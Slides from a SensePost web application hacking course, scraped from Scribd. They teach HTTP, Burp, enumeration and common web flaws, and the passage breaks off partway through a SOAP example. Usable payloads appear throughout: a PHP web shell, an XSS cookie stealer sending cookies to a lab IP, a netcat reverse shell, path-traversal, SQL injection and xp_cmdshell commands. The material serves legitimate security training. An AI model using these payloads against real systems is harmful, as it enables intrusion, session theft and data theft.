0% found this document useful (0 votes)
4 views

Web-Slides

The document outlines a web application hacking training session hosted by SensePost, detailing logistics, training objectives, and practical approaches. It emphasizes hands-on experience with web application vulnerabilities, the use of tools like Burp, and the importance of understanding HTTP and web technologies. Participants are encouraged to engage in practical exercises while adhering to legal and ethical guidelines.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views

Web-Slides

The document outlines a web application hacking training session hosted by SensePost, detailing logistics, training objectives, and practical approaches. It emphasizes hands-on experience with web application vulnerabilities, the use of tools like Burp, and the importance of understanding HTTP and web technologies. Participants are encouraged to engage in practical exercises while adhering to legal and ethical guidelines.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 138

Web Application

Hacking
Get Registered

Times: 0900-17:00
Lunch @ 12:00

Zoom:
https://zoom.us/s/95003528980

Discord:
https://discord.gg/qqEKfXPBAb

2 SensePost Training
Logistics

Day 1

3 SensePost Training
Welcome

• Who are we?


• Training objectives
• Other logistics
• Approach

4 SensePost Training
Orange Cyberdefense – SensePost Team

Locations
South Africa
United Kingdom

Training at BlackHat
Every year since 2002

Real Hackers
60 Employees
35 Technical Analysts

5 SensePost Training
Training Objectives

• Rapidly expose you to various aspects of web application hacking.


• Teach you the techniques, not just the tricks.

• Teach you the hacker mind-set.

6 SensePost Training
Approach
Practical training
• Essential theory
• Mostly hands on practical web application hacking
• 25 practicals, various levels of difficulty
• Fine line between challenge and not learning
• 2 days, 10+ practicals a day
• Most of them will take between 15 and 30 minutes
• The questions are answers
• Try to read all questions before doing a practical
• Answers will be provided 2/3 way into practical
7 SensePost Training
Materials:
Training Portal: https://class.sensepost.com
Get Registered:
https://class.sensepost.com/register/bh2021web01

Your Details:
Username
Password

Scope:
Take care during the practicals.

8 SensePost Training
Disclaimer

• The class network is insecure.


• Your lab is your own. Hacking class targets are highly encouraged!
• Don’t target anything else.
• Consider legalities & your liability

9 SensePost Training
Soft Prerequisites

● Understanding of HTTP, web servers, HTML, JavaScript and


server side languages will help a lot.
● Knowledge of OS and their commands.
● SQL and NoSQL knowledge will go a long way.
● Scripting is always useful.
● For everything else there is Google.

10 SensePost Training
Introduction to computing

11 SensePost Training
Introduction to computing
• Computers are general purpose machines.
• Used to do various tasks.
• Most computing systems run an operating system.
• Operating systems are a collection of applications that enable and govern the use of
hardware and allow for the execution of other tasks.
• Operating systems includes Linux, Unix, and Windows.
• Users interact with operating systems via a shell.
• There are different types of shells, i.e. text based or graphical
• Text based shells include Linux's bash or sh. In Windows both cmd and Powershell are
examples.
• Text based shells allow for the execution of text based (and other) applications, such as
ipconfig, ifconfig, whoami, ls, dir.
• Almost all actions can be performed on a computer using text based commands.

12 SensePost Training
Introduction to computing
ipconfig (Windows) and ifconfig (Linux/Unix) show networking info

13 SensePost Training
Introduction to computing
whoami shows the current running user

uname -a shows the current running kernel and OS

• Computing systems store files ( collections of bytes ) within a file system.


• File systems often have directories, which are used to group files and other directories together.
• Directories form a hierarchy, starting at the root directory ( signified with / ).
• Most file systems allow you to traverse backwards ( to the parent ) using the ../ or ..\ character
sequence.
• Once you arrive at the / directory, traversing backwards simply goes back to the /
• In Linux, the file /etc/passwd is almost always present and contains a list of all users on the system.

14 SensePost Training
Introduction to computing
We can access a file in a parent directory by traversing backwards.

15 SensePost Training
Introduction to Programming

• Computers execute some form of instructions, often referred to as ( machine ) code.


• These instructions tell computers what to do, and how to do it.
• Often the instruction involves the manipulation of data in some way.
• Data is often assigned to variables that act as placeholders for that data and refers to their location in memory.
• Examples : X=5 and Y=10
• Addition instruction operating on two variables, X+Y , Result =15
• Example String: Message="P@ssw0rd"
• Start of strings ( a collection of characters ) are often indicated with a ' or " character
• Conditional statements are key to programming:
• if Message=="P@ssw0rd" then do something …
• Often useful to group frequently used code into a function. Similar to mathematical functions, i.e. f(x) = x + 10 thus f(10)= 20.
• Functions can take in multiple variable as parameters, and return a result.

16 SensePost Training
Introduction to programming
function addUnderTen ( $x,$y )
{

if ($x > 10)


{
return $y+$x;
}
else
{
return 10;
}

17 SensePost Training
Introduction to programming

• Often useful to place a collection of functions and variables together.


• Allows for the collection to act as a unit with state.
• A blueprint ( the class definition ) is used to specify which variables and the methods ( functions ) are
present.
• We create an instance of the class, called an object.
• Example class:
Class Person
{
string $name;
setName ($name) { this.$name=$name; }
introduce ( ) { print ("Hi my name is:"+$name); }
}

18 SensePost Training
Introduction to web applications

19 SensePost Training
Introduction to web applications

Web Technology
• Generally refers to applications using the HTTP protocol
• Service applications that speak HTTP are referred to as Web servers, i.e. IIS, Apache
• Web-client applications can speak HTTP, i.e. Browsers like Firefox, Chrome.
• HTTP is often used to transfer HTML, but also other content.
• Browsers can render HTML to display graphical web pages.
• Web servers use server-side scripting languages to dynamically create HTML or execute other functions.
• Browsers implement client-side scripting languages like JS that can add client side functionality to web
pages.

20 SensePost Training
Introduction to web applications
HTTP
• Mostly Text Based. Stateless.
• Works on requests and responses.
• Each TCP connection has one request and response.
• Uses verbs to indicate methods
➢ GET - Bookmarked, cached, not for secure operations.
➢ POST - Background, not cached, better.
➢ Others: HEAD, PUT, DELETE, PATCH, etc
• URI i.e. a path/route/page/file.
➢ Ultimately a remote function call
• Parameters modify the way function works
➢ Query params ?name=5&age=10
o GET in URL bar, easily to modify
o POST in body
• Cookies
• Headers
• Path /name/5/age/10/
21 SensePost Training
HTTP Request and Response
HTTP Request

GET /?age=10 HTTP/1.0\r\n


Host: www.somehost.com\r\n
Cookie: COOKIENAME=COOKIEVALUE\r\n
\r\n
22 SensePost Training
HTTP Request and Response
HTTP Request

HTTP Response

HTTP/1.0 200 OK\r\n


Content-Type: text/html\r\n
Content-Length: 48\r\n
\r\n
<html><head><title>EXAMPLE</title></head></h
tml>
23 SensePost Training
Introduction to web applications

HTTP Continued
• Text-based, needs a way to encode data.
• URL Encoding.
– Replace special meta-characters with hex-encoded entities.
» ABCD & 10 = ABCD+%26+10
• Base64 Encoding
– Reversible encoding which allows binary-safe transfer of information.
»
ABCD & 10 = QUJDRCAmIDEw
• HTML encoding
• Ensures characters are not interpreted as HTML.
• For instance < and > is changed to &lt; and &gt;

24 SensePost Training
Introduction to web applications

HTTP Continued
• Status codes, 404, 200, 405, 300.
• Various Headers control behaviour of client/server.
• Requests sent by browser can be opaque or altered.
• Responses aren't always shown.
• Raw HTTP requests and responses are the only real truth.
• Intercepting proxies can show raw requests and response, and modify it.
• We will use Burp, a defacto.

25 SensePost Training
Introduction to web applications

Burp’s functionality
• Interception
• History
• Repeater

26 SensePost Training
Burp Demo

27 SensePost Training
Practical 1: 15 Min

28 SensePost Training
Introduction to web applications
Cookies and Sessions
• HTTP is stateless
• Web server only cares about one current function call.
• State disappears after one request/response.
• How do browsers and servers keep state across different requests?
• Using cookies - a bit of data that the server tells the client to remember and provide on
further requests.
• Client side is modifiable, cookies are modifiable.
• Cookies are not a security control!
• To prevent the alteration of sensitive info, the server keeps the information.
• Server creates a session and allocates memory to the session. Session is identified with
an unique session identifier.
• Server instructs the client to store the session identifier in a cookie.
• Client side cookies store session identifiers, and server looks it up to get the saved state.
• Session identifier = access, must be confidential!
29 SensePost Training
Introduction to web applications
Changing cookies
• Possible in Firefox by using Developer Tools, and then reloading the page.
– Click right, Inspect, Storage
– Double click on value, change it, press F5

• Possible in Burp by editing the Cookie value in the request via Intercept, or
Repeater.

30 SensePost Training
Practical 2: 10 - 15 Min

31 SensePost Training
Vulnerabilities

32 SensePost Training
Vulnerabilities

What are they?


• Applications have mistakes that impact security.
• Attackers can leverage it for an advantage.
• Configuration & Code.
• Web applications are often custom coded.
• Custom code = Custom Vulnerabilities.
• OWASP provides a taxonomy and a TOP 10 list of common web
vulnerabilities.

33 SensePost Training
Vulnerabilities

34 SensePost Training
Client Side & Server Side

Security Controls can be bypassed


• Client Side:
• Everything on the client side is ours.
– HTML controls can be disabled.
– JavaScript code can be seen with "View Source".
– JavaScript execution can be changed using Firefox Developer Tools'
console, i.e. variable=5
• Server Side:
• Requests going to the server-side can be intercepted.
– Parameters can be changed to unexpected values to defeat logic.
– Remember that both client side and server side security controls can be in place on
one site.
– After defeating a client side control, a server side security control may kick in.

35 SensePost Training
36 SensePost Training
Enter JavaScript via Console (look for arrow)

Inspect live JavaScript Objects

37 SensePost Training
38 SensePost Training
Practical 3: 20 Min

39 SensePost Training
Enumeration

The key to success is to know your target:


– Enumerate as much as you can.
» Files and Folders.
» View Source.
» View Image.
» Burp History.
» Look for admin or usernames

– Error messages and configuration mistakes are your friend.


» Directory Listing

40 SensePost Training
Enumeration

Directory Listing
Best way to find it is to take a URL, and chop off the file name:
http://www.site.com/images/image_01.png
becomes:
http://www.site.com/images/

41 SensePost Training
Broken Authentication
Common mistakes
• Simply allowing access.
• Trusting Redirection.
– JavaScript's document.location
– Redirecting with Location header
• Client side
» Both requests and responses can be altered with Burp.
» Burp can disable JavaScript.
» Burp can remove JavaScript and headers via response Intercept.
» Burp can also automatically replace JavaScript and headers with
Match and Replace.

42 SensePost Training
Match and Replace
Add a Match and Replace rule to remove response
headers and JavaScript in the response body.

43 SensePost Training
Match and Replace

44 SensePost Training
Match and Replace

Common mistakes
• Make sure that you select the correct option
• "Response Header" or "Response Body".
• Make sure to disable it afterwards.

45 SensePost Training
Practical 4: 20 Min

46 SensePost Training
Enumeration

The more you know the better


– User enumeration from error messages
» "Invalid user" vs "Invalid login attempt".
» Try a common bunch of usernames, check the responses, construct
a list.
» Can then brute force passwords!
– Disclosure of internal application values and variables
» User ID
» Paths
» Hostnames

47 SensePost Training
Insecure Direct Object References

Common mistake
– One user can access the information of another user or entity.
– Direct access without proper checks.
– Often only required to increase or decrease a parameter value.
– Can use automation to access all values.
– Can lead to the disclosure of sensitive data, elevated access,
performing actions as other users.

48 SensePost Training
Burp
Automation
• Often required to do several things in succession.
• Brute forcing accounts, enumerating usernames, trying different
numbers.
• Burp can do this using Intruder
• Intruder allows you to make a request multiple times, using different
values for parameters.
• Specify parameters with two § characters.
• Can have a name inside § characters, or leave it blank.
• e.g. §username§ or §§
• Specify one of various sources, e.g
• Numbers
• Lists
• Bruteforce
49 SensePost Training
Burp

Automation

50 SensePost Training
Burp
Automation

51 SensePost Training
Burp
Automation

52 SensePost Training
Burp
Automation
• Has different attack modes:
• Sniper - Only one parameter is altered.
• Battering ram - Multiple parameters using one source. Value is added
to each defined parameter.
• Pitchfork - Multiple parameters and sources. Each parameter uses a
different. Moves through sources at the same time.
• Cluster bomb - Multiple parameters and sources. All possible
permutations are tried for all defined parameters.
• Use response length or status codes to find different responses.
• Does not always work.
• "Grep - Match" for error messages or certain responses.
• Under Options

53 SensePost Training
Common Mistakes
When using Grep - Match, ensure to not have "Exclude HTTP
headers" set!

54 SensePost Training
Practical 5: 20+ Min

55 SensePost Training
Enumeration

If you know your enemy …


– Brute forcing for accessible URIs can help you find interesting sites
and files
» Archive files (Zip/Rar)
» Source code (.bak)
» Log files are your friend
• Error messages, Hostnames, Session IDs, Usernames
– GoBuster can help
» A wordlist is stored in /files
» Always do directories first
» Then files in one directory
56 SensePost Training
Enumeration

GoBuster:
• gobuster dir -w <wordlist> -u <URL> -x <extension>
• Wordlist at /files/directory-list-2.3-small.txt
• Example:
gobuster dir -w /files/directory-list-2.3-small.txt -u
http://example.labs.local/ -x php
• Don’t need to specify an extension.
• No extension - look for directories or files without extensions.
• Files like logs often don't have extensions.
• First look for directories, then look for files.
• Ignore obvious incorrect output like *COM*
57 SensePost Training
Session identifier disclosure

Passwords, 2FA and other controls help prevent against attackers.


• Difficult to bypass
• If you have a session identifier however …
– Session identifiers are disclosed in log files, GET requests.
– Session identifiers can be stolen.
– Session identifiers can sometimes be guessed.
– Once you have one, use Firefox Developer Tools to change your session id, and
refresh the page with F5.

58 SensePost Training
Practical 6: 15 Min

59 SensePost Training
Enumeration

Read your enemy's mind


– Brute forcing for accessible source code
» PHP, WAR, JAR, etc
» .BAK, ZIP, i.e. backup.zip
– Details on implementation = details on vulnerabilities.
– Sometimes you need to decompile:
» Jar/Class Files -> Java e.g. jadx
– .Dot Net -> C# dotpeak, JustDecompile, monodevelop, dnSpy.
– Open monodevelop first and the File -> Open.
– Don’t worry about System API, look for the application code.

60 SensePost Training
Alternative Session Management
Where should the data reside?
• Client side = alterable
• Server side = difficult to manage between parties
• Cryptography to the rescue
– Store on client side, sign with server key
• Crack the key?
– Password crackers like John The Ripper can help.
» Wordlist in /files/rockyou.txt
• One such technology is JSON Web Tokens (JWT)
– Burp has a plugin, shows up a tab
– Attack procedure:
» Login, obtain JWT token
» Save to file and crack with John
» john jwt.txt -w:/files/rockyou.txt
» Alternatively, find key another way.
» Intercept new login, change user id to admin, re-sign.
61 SensePost Training
Alternative Session Management

62 SensePost Training
Alternative Session Management

63 SensePost Training
Practical 7: 25+ Min

64 SensePost Training
Path traversal

Common mistake
– Operating systems and file systems allow one to access parent
directory with ../
– Attackers use it to traverse the file system, and access any file, i.e.
../../../../../../../../etc/passwd
– Often intentionally mitigated by looking for the ../ or ..\ characters.
– Bypass using encoding
– URL-encoded - ..%2f..%2f..%2f..
– Unicode-encoded - ..%c0%af..%c0%af..%c0%af..
– Often mitigated by appending file extension, i.e. $file.pdf
» Can bypass in old version of PHP with %00, e.g. /etc/passwd%00
» Null-byte used to signify end of C string, which PHP is based on.
65 SensePost Training
Practical 8 & 9: 15 Min

66 SensePost Training
Insecure file upload

Common mistake
– Allow a user to upload a file
» What if user uploads a server side scripting language file e.g. php, aspx?
» Web server may execute the user's code.
» Can be malicious, often used to execute arbitrary operating system
commands, i.e. a web shell.
» Various filters used to check extensions, e.g. only .jpg and .gif allowed.
» Either a blacklist or a whitelist check, or combo.
» Blacklist: Prohibit certain extensions.
» Whitelist: Whitelist allow only certain extensions.
» Both can be coded incorrectly.

67 SensePost Training
Insecure file upload

Common mistake
– Allow a user to upload a file
• Blacklists:
• Can be bypassed if coded poorly
• e.g. looks for .php forgot to look for .pHP,.Php
• Often forget to check for other dangerous extensions.
• Sometimes bypassed on Windows systems with trailing. dots, which get
removed on file creation, i.e. shell.php.. > shell.php
• \00 or %00 often works as well.
• Sometimes ADS can be used, i.e shell.php::$DATA.
• Several others.

68 SensePost Training
Insecure file upload
Common mistake
– Allow a user to upload a file
• Whitelists :
• Can be bypassed if coded poorly.
• Checks for good extension i.e. jpg, doesn't check for bad one .php
• If position is ignored, i.e. jpg.php
• Good Reference: Google "OWASP Unrestricted File Upload"
• Content-Type header is often checked, can be bypassed when set to correct type
• For example, change
Content-Type: application/php
to
Content-Type: image/jpeg
• Upload correct extension, see what content type, and copy it
• Often both Content-Type header and file extension are checked

69 SensePost Training
Insecure file upload

Common mistake
– Allow a user to upload a file
» Execution of code only occurs because web server interprets the a
file with a certain extension differently
» E.g. Request comes in for file, file ends in .php extension.
» .php extension in Apache is registered to be handled by php
» .php executes it.
» Handlers can be bypassed or removed using a .htaccess file in
Apache.
» Sometimes execution is blocked for a directory by .htaccess
» Write blank .htaccess to gain execution.

70 SensePost Training
Web Shells

How does a web shell look?

<?php passthru($_GET['cmd']); ?>

One is available for you at /files/shell.php

How does it work?

http://site/path/to/upload/shell.php?cmd=ifconfig

71 SensePost Training
Practical 10 & 11: 20 Min

72 SensePost Training
Local file inclusion

Common mistake
– Allows user to specify a file with source code to dynamically execute
» Affects php, asp, jsp
» For example ?page=contacts.php or ?page=main.html will dynamically include
those files in the execution of the application
» When normal files are specified, their content is often shown. Great way to test!
» When code is included, it will be executed.
» To exploit, upload source code disguised as a normal file, and include!
• For example, to execute shell, upload as shell.jpg, and run
http://site?page=uploads/shell.jpg&cmd=id
» Several creative ways to include without uploads
» Enumerate!
» Good Reference:
» Google "PayloadAllTheThings File Inclusion"
73 SensePost Training
Practical 12 & 13: 20 Min

74 SensePost Training
Logistics

Day 2

75 SensePost Training
Introduction to injection

76 SensePost Training
Injection at a glance

Common vulnerability class


– Cross Site Scripting, Command Injection, SQL injection, LDAP Injection,
NoSQL injection, etc.
– User input directly used in some type of language.
– Attacker enters valid syntax, alters the intended operation.
– A quick example:
» My name is $name !
» $name="Bob"
• My name is Bob!
» $name=" not important "
» My name is not important !
77 SensePost Training
Injection at a glance
Try it yourself

78 SensePost Training
Injection at a glance
Common vulnerability class
– More examples:
» My name is $name and I like dogs!
» $name="Bob"
• My name is Bob and I like dogs!
• $name="not important and Sue said: I like cats "
• My name is not important and Sue said: I like cats and I like
dogs!
» "I only want to see pictures of $animal"
• $animal="cats"
• I only want to see pictures of cats
• $animal="cats or any other animal"
• I only want to see pictures of cats or any other animal
79 SensePost Training
Injection at a glance
• How do we find injection and other vulnerabilities?
• Fuzzing!
• Try different metacharacters that may cause an error.
• Error messages may give full command or query.
• Useful to know how to construct payload.
• Often injection points are surrounded with ' " or other characters.
• First we want to close the open ' or " characters, else we won't see error messages
as the payload will be seen as a string.
• Start fuzzing with them, i.e. 'HERE and "HERE
• After " or ' is closed, we start with the rest of the metacharacters, !@#$%^&*()[]`` to
see other types of errors.
• May need to close ' or " afterwards, or comment them out.
• Always fuzz only one parameter at a time.
80 SensePost Training
Cross Site Scripting (XSS)

Common vulnerability
• HTML injection:
– Can add HTML, but not that useful.
– Include JavaScript for client side code execution.
– <center> Welcome $name</center>
– $name ="<script>alert(1);</script>"
» <center> Welcome
<script>alert(1);</script> </center>

81 SensePost Training
Injection at a glance
Try it yourself

82 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
• Use JavaScript to attack user and browser
• Steal cookies.
• Steal usernames and passwords from autocomplete.
• Use to exploit other vulnerabilities.
• Execute actions as user.
• Several types:
• Reflective: Result of a GET or POST parameter
• Stored: Save XSS script on the web site in some parameter, i.e.
username. Reflected back on other page. Best if other users can access
it.
• DOM : Modify the environment, not the resulting response. For instance
URL if document.location is used in a script
83 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
Reflective:
• http://site.com/index.php?message=Hello
• "Hello" is reflected in resulting response
• If we go to http://site.com/index.php?message=<script>alert(1)</script>,
• <script>alert(1)</script> is reflected in the site's HTML, causing the alert box to
execute
• The value of the vulnerable parameter, which includes our script is called the
payload. In this case, <script>alert(1)</script>
• To exploit, trick the user into clicking the URL with the payload in it
• Can’t just be the payload, needs to be URL and payload, where the payload is
assigned as the value of a vulnerable parameter in the URL

84 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
• Is it vulnerable ?
• HTML encoding is the way to fix it
• Don't simply reflect values in parameters, HTML encode them first
• < is changed to &lt;
• > is changed to &gt;
• &lt;script&gt; is not interpreted as <script>
Testing procedure:
• Insert <script>XSS into URL (reflected), or save it and view the results
• Is it reflected as is, or is it HTML encoded to &lt;script&gt;XSS
• Check in Burp's Proxy HTTP History, not in Browser View Source
• Easy mode: use <script>alert(1)</script> and see if an alert box pops up. Doesn't always
pop up!
85 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
Payloads:
• <script>alert(1)</script> - Simple alert box
• <script>document.location="http://10.50.30.5:8000/index?c="+document.cookie;</script>
- Steals user's cookies
• Can only steal cookies if HttpOnly is not set
• Is it being reflected in the HTML but not triggering?
– Need to close starting HTML tag
» </input>
» </textarea>
• Not reflecting right? Code missing ? + & %
– URL encode payload
– Use Burp's Decoder!
– Remember URL + payload
86 SensePost Training
Burp Decoder

Final reflective URL:


http://somesite.com?vulnparam=%3c%73%63%72%...
Remember do not encode URL, only payload
URL + encoded payload
87 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
• JavaScript in the browser is subjected to the Same Origin Policy
(SOP)
• JavaScript can only make requests to sites that are in the same origin
as site using it
• Same hostname, URI Scheme (protocol), port.
• Prevents an attacker from using a malicious site or XSS vulnerable
site from preforming requests against http://bank.com/transfer using
JavaScript
• SOP can be managed by Cross-Origin Resource Sharing (CORS),
http://bank.com/transfer says its okay if scripts from
http://othersite.com/ accesses it

88 SensePost Training
Cross Site Scripting (XSS)
Common vulnerability
• Cookie stealer redirects user completely to new site, using cookie as parameter.

• How to run a web-server to capture cookies?


– SimpleHTTPServer
» python -m SimpleHTTPServer 8000

• Filtering out <script> ?


– Multiple alternatives
» <img onload=..>
» <svg onload=..>
» <object> * Doesn't work for cookie stealer!

Good Resource: Google PayloadsAllTheThings XSS Injection

89 SensePost Training
Practical 14 & 15: 35 Min

90 SensePost Training
Cross Site Scripting (XSS)
Dom Based Injection
• Page with JavaScript that is making use of DOM “environment” variable:
<script>
document.write (document.location.href.substring(
document.location.href.indexOf("default=")
));
</script>
• Normal use http://www.some.site/page.html?default=French.
• Exploit http://www.some.site/page.html?default=<script>alert(1)</script>
• Evaluates to document.write("<script>alert(1)</script>")
• Not reflected in HTML code, only in evaluation.

91 SensePost Training
Cross Site Request Forgery

Common vulnerability
• Example
– User logs into banking website
» Server gives browser cookie, session id
» User later clicks malicious link
» Redirects them to transfer?amount=1000&account=hackers
» Browser goes to URL, provides stored cookie, auth, transfers
» Exploits the trusts between the browser and the webserver
» Easier to do if POST and GET interchangeable
» To prevent, need to prove that request originates from a previous request
from the site
» CSRF tokens

92 SensePost Training
Cross Site Request Forgery

Common vulnerability
• Example exploits
– JavaScript
» <script>
document.location='http://site/transfer?account=hacker&amount=10';
</script>
– IMG
» <img src='http://site/transfer?account=hacker&amount=10'>

93 SensePost Training
Practical 16: 30 Min

94 SensePost Training
Command Injection

Common vulnerability
• Web application needs to run a OS application
– Takes input value from user.
– Dynamically constructs OS command.
– ./addUser.sh $name
» ./addUser.sh Bob
» ./addUser.sh Bob ; ipconfig
– ; && || $() `` can all be used to run another command

95 SensePost Training
Command Injection

96 SensePost Training
Command Injection

Common vulnerability
• How to find it? Fuzzing for error messages.
• Remember values are often surrounded by ' or "
– Need to close them before error messages will show
– Need to remove the trailing " or ' ?
– Use comments or new command to close it
» # or ;
» Example
» ./addUser.sh '$name'
» $name = '; ipconfig # '
» ./addUser.sh ' '; ipconfig # '
97 SensePost Training
Command Injection
Try it yourself

98 SensePost Training
Command Injection
Common vulnerability
• Blind?
– ; ping 8.8.8.8 or your IP + Wireshark
– Ping causes delay and sends packets
– Alternative:
– ; sleep 20
– How to get a shell?
– Netcat to the Rescue!
– Remote shell:
» nc -l -p 3333 on your system
• You are listening for connections
» nc 10.50.30.5 3333 -e /bin/sh
99 SensePost Training
• Target is connecting back to you, providing a shell
Command Injection

100 SensePost Training


Practical 17 & 18: 20 Min

101 SensePost Training


mysql –u root
show databases;

SQL warmup use Company;


show tables;
MySQL Basics select * from Persons;
select * from Persons where FirstName='Sara';
select * from Persons where FirstName='Sara' or JobTitle='IT';
select * from Persons where FirstName ='Sara' or 1=1;
select * from Persons where FirstName ='Sara' or 1=0;
select * from Persons where FirstName ='' or id=1;

select * from Persons where 1=1 -- asdfasdfsadafsa

select * from Persons order by 1;


select * from Persons order by 4;
select * from Persons order by 5;

select * from Persons UNION ALL SELECT NULL,NULL,NULL,NULL;


select * from Persons UNION ALL SELECT NULL,'TEST',NULL,NULL;

select * from Persons; select 1;

102 SensePost Training


SQL Injection
Common vulnerability
• SQL used to query databases.
• Databases store sensitive data and are used for crucial operations
such as authentication.
• Inject into query, change its behaviour.
• What can you do with it?
– Alter application behaviour
– Read data
– Sometimes modify it
– Sometimes execute code
• Can automate testing and exploitation with tools like SQLMap.
• We will focus on a manual approach for now.
103 SensePost Training
SQL Injection
Common payloads:
• ' or 1=1 -- ( all values, login bypass )
• ' or id=2 -- ( login as second user )

104 SensePost Training


SQL Injection
Common vulnerability
• How to detect?
– ' " sensitivity
– Fail in odd numbers works in even, ' vs ' ' vs ' ' '
– SQL error messages
– PSQLException: ERROR: unterminated quoted string at or
near.
– Unclosed quotation mark after the character string.
– Cause a delay
– pg_sleep(10)
– WAITFOR DELAY '0:0:5'
– Get different values
105 SensePost Training
SQL Injection
Common vulnerability
• Injected values have to be correct syntax
• Several different types of SQL injection
• WHERE BLIND BOOLEAN BASED
• Detect with ' and 1=1 and ' and 1=0
• Try to obtain some response that indicates true or false
• Use it to ask boolean questions to the database
• Is the first character of the username an 'a'?
• Is the first character of the username a 'b'?
• Somewhat slow
• UNION
• Fast
• Append new query requests to application query results
• Need to have the same amount of columns
• Use order by to determine the number
• e.g. order by 6
• Error message if too many / to little
• Need to have the right datatypes
• Use NULL for most values
• Iteratively try out each column with string values
• ' UNION ALL select NULL,'TEST',NULL,NULL ;
106 SensePost Training
SQL Injection
Common vulnerability
• STACKED
• Fast
• Add a ; and execute a new query
• Can be used for all queries, including execution, selection and modification
• May not always get output
• BLIND TIME BASED
– Cause a delay using a command
– Only wait if true/false
– Time response, obtain Boolean output
– Slow
• ERROR BASED
– Cause an error intentionally to reveal a value
– Fast
– Useful if no other way to get output
– ' SELECT cast (user_name() as int) --
• Try these on Injection Helper

107 SensePost Training


SQL Injection

Common vulnerability
• Injection issues
• Not always surrounded with quotes or apostrophes
• Queries with numerical values
• Try it on Injection Helper
• Sometimes need to try both. Close an open ) character and an open ' character
• Try it on Injection Helper
• For union injection, its often beneficial to ensure that original results are not shown
• Add an unlikely where clause in before closing the apostrophes
• e.g. where name LIKE '%dfadf' union select all
• Try it on Injection Helper

108 SensePost Training


SQL Injection

Common vulnerability
• Other payloads:
• SELECT username, passwords from users;
• Find all tables with column name:
• SELECT table_name,column_name from information_schema.columns where
column_name like '%password%'

• Good Reference: Google "Pentest Monkey SQL Injection"

• Which database management system are we dealing with?


– Google error messages

109 SensePost Training


SQL Injection
Common vulnerability
• SQL injection to command execution:
– via functions or stored procedures:
– Oracle : via Java and Stored Procedures
– MS SQL : EXEC xp_cmdshell 'whoami'
– Need to enable:
– EXEC sp_configure 'show advanced options', 1;
– RECONFIGURE ;
– EXEC sp_configure 'xp_cmdshell', 1;
– RECONFIGURE;
– Separate requests
– Save output to temporary table:
– CREATE TABLE #temp(lines varchar(1000));
– INSERT INTO #temp EXEC xp_cmdshell 'whoami';
– SELECT lines FROM #temp ; --
– One request
– Postgres :
– copy table_name from program 'cat /etc/passwd'
» Need to create table first
• create table temp (data text);
» Can select table for output afterwards
» Run netcat for shell
110 SensePost Training
Practical 20 & 21: 35 Min

111 SensePost Training


NoSQL Injection
Common vulnerability

NoSQL Injection (Basic)
• Non relational
• Does not use SQL
• Key-value storage
• Databases contain collections
• Collections contain data
• Can search using filters
• db.collections.find({"name":"Sue"})
• db.collections.find({"id":10})
• Mongo and others can also use Query Operators such as $ne, $eq, $in, $gt, $lt and so forth
• For example db.collections.find( {"name": {"$ne":""} }) will find all values
• In certain cases susceptible to injection
• For example: http://site.com/find?id=10
• Backend db.collections.find( {"id":10} )
• Change id from 10 to {"$ne":""}
• Backend becomes db.collections.find( { "id": {"$ne":""} } )
• Returns everything in the collection

112 SensePost Training


API Vulnerabilities

• API : Application Programming Interface


• Set of functions that can be called
• Not focused on graphical markup -
Does not need to return HTTP/ JavaScript.

Common API types:

- RPC: Simple Object Access Protocol (SOAP)


- Object based
- Representational State Transfer (ReST)
- Resource based
- SOAP not HTTP based, Rest is HTTP based

113 SensePost Training


API Vulnerabilities

ReST
• Each resource has a unique address
• Perform actions on those resources
• Stateless, all data needs to be in request
• Uses HTTP verbs for actions
• GET - retrieve a resource
• POST - creates a new resource
• PUT - updates a new resource
• DELETE - remove a resource
• Real world - Not always the way ReST APIs work, doesn't always follow this structure
• ReST headers:
• Authorization headers / API Key
• Burp / Postman can be used to test REST APIs

114 SensePost Training


API Vulnerabilities
Structure of ReST
• The URL is the address to the resource
• Examples:
• GET:
• https://shop.sensepost.com/api/invoices/1 - address to invoice no. 1
• https://shop.sensepost.com/api/orders/2040 - address to order no. 2040
• https://shop.sensepost.com/api/users - address to all users
• https://shop.sensepost.com/api/users/30 - address to user 30
• https://shop.sensepost.com/api/orders?item=tshirt&colour=black - Black T-shirt orders
• POST:
– https://shop.sensepost.com/api/invoices - Creates a new invoice
• PUT:
– https://shop.sensepost.com/api/invoices/1 - Updates the information within invoice
• DELETE:
– https://shop.sensepost.com/api/invoices/30 - Deletes invoice number 30

115 SensePost Training


API Vulnerabilities

SOAP
• XML based protocol
• Often for machine to machine calls
• Calls some type of function
• Structure:
• Envelope: Defines the start and end of a SOAP message.
• Header: Authentication data, API keys
• Body: Contains operation and data that is to be sent to the server.
• Fault: Error messages.

116 SensePost Training


API Vulnerabilities

Example SOAP message:


<?xml version = "1.0"?>
<SOAP-ENV:EnvelopeW
xmlns:SOAP-ENV = "http://www.w3.org/2001/12/soap-envelope">
<SOAP-ENV:Header />
